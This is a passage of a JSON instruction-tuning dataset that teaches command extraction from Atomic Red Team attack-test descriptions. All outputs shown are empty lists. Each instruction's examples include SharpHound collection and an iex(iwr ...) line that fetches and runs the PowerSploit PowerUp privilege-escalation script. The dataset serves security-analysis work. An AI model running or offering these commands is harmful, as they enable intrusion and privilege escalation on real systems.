perpetrating malicious activities.\n\nBecause this attack runs a Powershell cmdlet, this attack can be detected by monitoring both:\n Powershell Logging (Windows Powershell Event ID 400, 800, 4103, 4104)\n Registry events (Windows Event ID 4657, Sysmon Event ID 13)\n\nRead more here:\nhttps://securitydatasets.com/notebooks/atomic/windows/defense_evasion/SDWIN-220703123711.html\nhttps://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-itemproperty?view=powershell-7.4#example-2-add-a-registry-entry-to-a-key\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The following Atomic test will utilize Get-AdComputer to enumerate Computers within Active Directory.\nUpon successful execution a listing of Computers will output with their paths in AD.\nReference: https://github.com/MicrosoftDocs/windows-powershell-docs/blob/main/docset/winserver2022-ps/activedirectory/Get-ADComputer.md\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Executes the Get-Service cmdlet to gather objects representing all services on the local system.", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Prevents Powershell history\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe.\n\nUpon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union).\nThis action requires HTTP logging configurations in IIS to be unlocked.\n\nUse the cleanup commands to restore some default auditpol settings (your original settings will be lost)\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test is designed to launch the tor proxy service, which is what is utilized in the background by the Tor Browser and other applications with add-ons in order to provide onion routing functionality.\nUpon successful execution, the tor proxy will be launched, run for 60 seconds, and then exit. \n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Upon successful execution, this test will test for anonymous access to AWS S3 buckets and dumps all the files to a local folder. \n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test will attempt to open a local port defined by input arguments to any profile", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation 